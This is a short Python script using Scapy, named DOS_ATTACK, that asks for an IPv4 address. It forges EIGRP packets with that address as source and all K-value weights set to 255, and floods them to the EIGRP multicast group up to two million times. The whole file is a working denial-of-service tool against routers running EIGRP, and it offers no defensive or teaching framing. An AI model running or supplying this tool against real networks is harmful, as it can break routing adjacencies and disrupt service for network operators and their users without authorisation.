1. from scapy.all import sendp
2. from scapy.layers.inet import IP
3. from scapy.layers.l2 import Ether
4. from scapy.contrib.eigrp import EIGRP, EIGRPParam, EIGRPSwVer
5.  
6. class DOS_ATTACK:
7.     def main(self):
8.         print("\n |DOS ATTACK|\n")
9.         IPv4 = input("Insert IPv4> ")
10.         print()
11.         PACKET = self.createPacket(IPv4)
12.         self.dosAttack(PACKET, IPv4)
13.  
14.     def createPacket(self, IPv4):
15.         ether = Ether()
16.         ip = IP(src = IPv4, dst = "224.0.0.10")
17.         eigrp = EIGRP(asn = 100, tlvlist = [EIGRPParam(k1 = 255, k2 = 255, k3 = 255, k4 = 255, k5 = 255), EIGRPSwVer()])
18.         PACKET = ether/ip/eigrp
19.         return PACKET
20.    
21.     def dosAttack(self, PACKET, IPv4):
22.         for i in range(1000000):
23.             try:
24.                 sendp(PACKET, iface = "eth0", verbose = 0)
25.             except KeyboardInterrupt:
26.                 exit()
27.             except:
28.                 break
29.             print(f"{i} PACKET SENDED! [{IPv4}]")
30.         for i in range(1000000):
31.             try:
32.                 sendp(PACKET, verbose = 0)
33.             except KeyboardInterrupt:
34.                 exit()
35.             except:
36.                 print("Error.")
37.             print(f"{i} PACKET SENDED! [{IPv4}]")
38.  
39. if __name__ == "__main__":
40.     DOS_ATTACK().main()